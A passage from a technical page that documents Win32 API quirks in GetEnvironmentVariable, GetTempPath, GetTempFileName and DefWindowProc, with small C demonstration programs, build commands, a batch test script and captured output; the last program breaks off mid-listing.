  LPCTSTR lpName,
  LPTSTR  lpBuffer,
  DWORD   nSize
);
[…]

nSize

The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. […]

If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.

Note: designed and implemented properly, this function would return the value of nSize for failure, supporting successful retrieval of empty environment variables!

In addition to the quirk bug demonstrated below, the documentation fails to tell that lpBuffer can be 0 alias NULL if nSize is 0.
It also exhibits a very common mistake that is present in many other MSDN articles too: there is no null-terminating character, but a (string-)terminating NUL alias (string-)terminating null character!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk7.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwCount;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!SetEnvironmentVariable(L"EMPTY", L""))
    			PrintConsole(hConsole,
    			             L"SetEnvironmentVariable(\"EMPTY\", \"\") returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetEnvironmentVariable(L"EMPTY", szBuffer, 0);
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned error %lu\n",
    				             szBuffer, dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned buffer size %lu\n",
    				             szBuffer, dwBuffer);
    
    				SetLastError('FAIL');
    
    				dwCount = GetEnvironmentVariable(L"EMPTY", szBuffer, dwBuffer);
    
    				if (dwCount == 0)
    					PrintConsole(hConsole,
    					             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, %lu) returned error %lu\n",
    					             szBuffer, dwBuffer, dwError = GetLastError());
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk7.exe from the source file quirk7.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk7.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk7.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk7.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk7.exe
    quirk7.obj
  3. Execute the console application quirk7.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk7.exe
    SET /A 0x4641494C
    GetEnvironmentVariable("EMPTY", 0x0037F884, 0) returned buffer size 1
    GetEnvironmentVariable("EMPTY", 0x0037F884, 1) returned error 1178683724
    1178683724
    OUCH: for environment variables with empty value, the Win32 function GetEnvironmentVariable() returns 0, but fails to (re)set the Win32 error 0 alias ERROR_SUCCESS to indicate no error!
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 8

The Win32 functions GetTempPath() and GetTempFileName() are documented in the MSDN as follows:
DWORD GetTempPath(
  DWORD  nBufferLength,
  LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.

[…]

The maximum possible return value is MAX_PATH+1 (261).

[…]

The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:

  1. The path specified by the TMP environment variable.
  2. The path specified by the TEMP environment variable.
  3. The path specified by the USERPROFILE environment variable.
  4. The Windows directory.
UINT GetTempFileName(
  LPCTSTR lpPathName,
  LPCTSTR lpPrefixString,
  UINT    uUnique,
  LPTSTR  lpTempFileName
);
[…]

lpPathName

The directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.

In addition to the quirks bugs demonstrated below, the documentation for the GetTempPath() function fails to tell that lpBuffer can be 0 alias NULL if nBufferLength is 0.

There’s yet another (triple) omission in that documentation: The path specified by the […] environment variable. needs to be read as The absolute or relative path specified by the […] environment variable.

The default value of the system-specific environment variables TEMP and TMP is %SystemRoot%\TEMP, and the default value of the user-specific environment variables TEMP and TMP is %USERPROFILE%\AppData\Local\Temp, i.e. both reference another environment variable. If this one is undefined during creation of the environment block, the respective substring %SystemRoot% or %USERPROFILE% is not replaced with the contents of the referenced environment variable and thus preserved. In consequence the GetTempPath() function returns the literal value %SystemRoot%\TEMP or %USERPROFILE%\AppData\Local\Temp respectively, which both are valid relative pathnames. Since a subdirectory with this pathname does almost always not exist in the CWD, programs which rely on the existence of the path returned from the GetTempPath() function are subject to fail!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk8.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH + 2];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetTempPath() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetTempPath() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    			if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
    				PrintConsole(hConsole,
    				             L"GetTempFileName() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetTempFileName() returned pathname \'%ls\'\n",
    				             szBuffer);
    
    				if (!DeleteFile(szBuffer))
    					PrintConsole(hConsole,
    					             L"DeleteFile() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk8.exe from the source file quirk8.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk8.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk8.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk8.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk8.exe
    quirk8.obj
  3. Create the text file quirk8.cmd with the following content in the directory used in the previous steps 1. and 2.:

    REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "%ALLUSERSPROFILE%"
    SET T
    @"%~dpn0.exe"
    SET TMP=
    @"%~dpn0.exe"
    SET TEMP=
    @"%~dpn0.exe"
    SET USERPROFILE=
    @"%~dpn0.exe"
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    @"%~dpn0.exe"
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    @"%~dpn0.exe"
    SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    @"%~dpn0.exe"
    SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    @"%~dpn0.exe"
    SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    @"%~dpn0.exe"
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    @"%~dpn0.exe"
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    @"%~dpn0.exe"
    SET TMP=..
    @"%~dpn0.exe"
    SET TMP=%%USERPROFILE%%\AppData\Local\Temp
    @"%~dpn0.exe"
    SET TMP=%%SystemRoot%%\Temp
    @"%~dpn0.exe"
    SET TMP=NUL:
    @"%~dpn0.exe"
    EXIT /B
  4. Execute the batch script quirk8.cmd created in step 3. on Windows 7 (or an earlier version):

    .\quirk8.cmd
    REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "C:\ProgramData"
    SET T
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4711.tmp'
    
    SET TMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4723.tmp'
    
    SET TEMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp4732.tmp'
    
    SET USERPROFILE=
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4742.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4754.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4767.tmp'
    
    SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of 130 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\' of 15 characters
    GetTempFileName() returned pathname 'C:\ProgramData\tmp47BD.tmp'
    
    SET TMP=..
    GetTempPath() returned pathname 'C:\' of 3 characters
    GetTempFileName() returned pathname 'C:\tmp47CE.tmp'
    
    SET TMP=%USERPROFILE%\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of 48 characters
    GetTempFileName() returned error 267
    
    SET TMP=%SystemRoot%\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of 33 characters
    GetTempFileName() returned error 267
    
    SET TMP=NUL:
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters
    GetTempFileName() returned error 267
    
    EXIT /B
    OUCH¹: the environment variables TMP, TEMP and USERPROFILE are discarded on Windows 7 and earlier versions if their value is not less than 130 (=MAX_PATH÷2) characters!

    OUCH²: although the directory name is valid, GetTempFileName() fails with Win32 error 267 alias ERROR_DIRECTORY, i.e. The directory name is invalid. instead of Win32 error 3 alias ERROR_PATH_NOT_FOUND, i.e. The system cannot find the path specified.

    OUCH³: if the environment variables TMP, TEMP or USERPROFILE are set to a DOS device name (with or without a trailing colon), GetTempPath() returns the corresponding Win32 device name followed by a backslash instead of Win32 error 267 alias ERROR_DIRECTORY!

  5. Execute the batch script quirk8.cmd created in step 3. on Windows 8 (or a later version):

    .\quirk8.cmd
    REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "C:\ProgramData"
    SET T
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF791.tmp'
    
    SET TMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF7A1.tmp'
    
    SET TEMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpF7A9.tmp'
    
    SET USERPROFILE=
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmpF7B1.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname '' of 277 characters
    GetTempFileName() returned pathname '\tmpF7C7.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 146 characters
    GetTempFileName() returned error 267
    
    SET TEMP=C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw\' of 131 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of 130 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname '' of 276 characters
    GetTempFileName() returned pathname '\tmpF7D1.tmp'
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\' of 15 characters
    GetTempFileName() returned pathname 'C:\ProgramData\tmpF7D9.tmp'
    
    SET TMP=..
    GetTempPath() returned pathname 'C:\' of 3 characters
    GetTempFileName() returned pathname 'C:\tmpF7DF.tmp'
    
    SET TMP=%USERPROFILE%\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of 48 characters
    GetTempFileName() returned error 267
    
    SET TMP=%SystemRoot%\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of 33 characters
    GetTempFileName() returned error 267
    
    SET TMP=NUL:
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters
    GetTempFileName() returned error 267
    
    EXIT /B
    OUCH⁴: contrary to its documentation cited above, the Win32 function GetTempPath() returns values greater than 261 (=MAX_PATH+1)!

    OUCH⁵: the documentation also fails to tell that the Win32 function GetTempFileName() adds a backslash in front of the filename if the directory path does not end with a backslash!

Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 9

The ninth quirk is the amalgamation of the two preceding quirks, it proves the documentation of the GetTempPath() wrong in another point and shows again its misbehaviour.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk9.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!SetEnvironmentVariable(L"TMP", L""))
    			PrintConsole(hConsole,
    			             L"SetEnvironmentVariable(\"TMP\", \"\") returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetTempPath() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetTempPath() returned pathname \'%ls\' of %lu characters\n",
    				             szBuffer, dwBuffer);
    
    				if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
    					PrintConsole(hConsole,
    					             L"GetTempFileName() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetTempFileName() returned pathname \'%ls\'\n",
    					             szBuffer);
    
    					if (!DeleteFile(szBuffer))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk9.exe from the source file quirk9.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk9.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk9.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk9.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk9.exe
    quirk9.obj
  3. Execute the console application quirk9.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk9.exe
    GetTempPath() returned pathname '' of 1 characters
    GetTempFileName() returned pathname '\tmp3A97.tmp'
    Oops: the Win32 function GetTempPath() returns the number of characters including the terminating NUL character when the environment variable TMP has an empty value!
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 10

The Win32 functions DefWindowProc() and PostQuitMessage() are documented in the MSDN as follows:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.
The WM_NCCREATE message is documented in the MSDN as follows:
Sent prior to the WM_CREATE message when a window is first created.

A window receives this message through its WindowProc function.

[…]

If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.

DefWindowProc() but does not provide the typical response to the WM_DESTROY message, and returning TRUE in response to the WM_NCCREATE message fails to register and set the window title!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk10.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    LRESULT	WINAPI	WindowProc(HWND   hWindow,
    		           UINT   uMessage,
    		           WPARAM wParam,
    		           LPARAM lParam)
    {
    	switch (uMessage)
    	{
    #if QUIRKS == 1	// DefWindowProc() must be called in response to the
    		//  WM_NCCREATE message to register the window title!
    
    	case WM_NCCREATE:
    		return (LRESULT) 1;
    #endif
    	case WM_DESTROY:
    		PostQuitMessage(0);
    
    //	case WM_NULL:
    //	case WM_NCDESTROY:
    //	case WM_CREATE:
    		return (LRESULT) 0;
    
    	default:
    		return DefWindowProc(hWindow, uMessage, wParam, lParam);
    	}
    }
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	LRESULT lResult;
    	BOOL	bResult;
    	HWND	hWindow;
    	MSG	msg;
    	WNDCLASSEX	wce = {sizeof(wce),
    			       CS_GLOBALCLASS,
    #if QUIRKS == 2	// DefWindowProc() does not call PostQuitMessage()
    		//  in response to the WM_DESTROY message!
    			       DefWindowProc,
    #else
    			       WindowProc,
    #endif
    			       0,
    			       0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
